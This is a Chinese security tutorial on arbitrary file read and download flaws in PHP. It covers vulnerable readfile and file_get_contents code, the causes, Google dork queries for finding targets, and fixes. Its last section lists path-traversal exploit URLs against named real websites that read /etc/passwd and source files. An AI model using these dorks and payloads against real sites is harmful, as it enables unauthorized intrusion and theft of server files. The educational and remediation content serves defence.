溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

任意文件讀取與下載

發(fā)布時間:2020-09-19 01:56:46 來源:網(wǎng)絡 閱讀:2018 作者:nw01f 欄目:安全技術(shù)

0x00 背景介紹

    一些網(wǎng)站的業(yè)務需要,可能提供文件查看或下載的功能,如果對用戶查看或下載的文件不做限制,就能夠查看或下載任意的文件,可以是源文件,敏感文件等等


0x01 文件讀取

    文件讀取在PHP這種可以有很多種方式實現(xiàn),在web的默認情況下,$filename變量可能用戶可控

<?php
$filename = $_GET['f'];
echo file_get_contents($filename);
?>
#當變量 $filename 沒有經(jīng)過校驗,或者校驗不嚴格,用戶可以控制這個變量讀取任意文件,例如
/etc/passwd、/config.ini 等文件

0x02 實現(xiàn)文件下載的兩種方式

    1.直接下載:

<a ></a>

    2.增加header頭

<?php
$filename = $_GET['f'];
header('Content-Type:p_w_picpath/gif');
header('Content-Disposition:p_w_upload;filename='.$filename);
header('Content-Length:'.filesize($filename));
readfile($filename);
?>

    當$filename沒有經(jīng)過校驗,或者校驗不合格,用戶可以控制這個變量下載任意文件,比如/etc/passwd,./index.php、等等就造成了任意文件下載漏洞。


0x03 成因

    都有讀取文件的函數(shù)

    讀物文件的路徑用戶可控,且沒有經(jīng)過校驗,或者校驗不嚴格

    都輸出文件內(nèi)容


0x04 Google Serch

inurl:"readfile.php?file="
inurl:"download.php?file="


0x05 修復方案

    過濾<.>(點)

    正則判斷用戶輸入的參數(shù)格式,匹配輸入的格式是否合格

    php.ini配置open_basedir


0x06 實例漏洞利用

(僅供測試,請勿隨意破壞)

地址:

url:http://hypnet.org.uk/shared/readfile.php?file=mental_health_audit_2014_06_15_130552.ppt

漏洞利用:

http://hypnet.org.uk/shared/readfile.php?file=../../../../../../../../../../etc/passwd

地址:

url:http://storiedifarina.it/readfile.php?file=pdf/storiedifarina.pdf

漏洞利用

http://www.wodehouse.se/upload/readfile.php?file=../index.php


向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI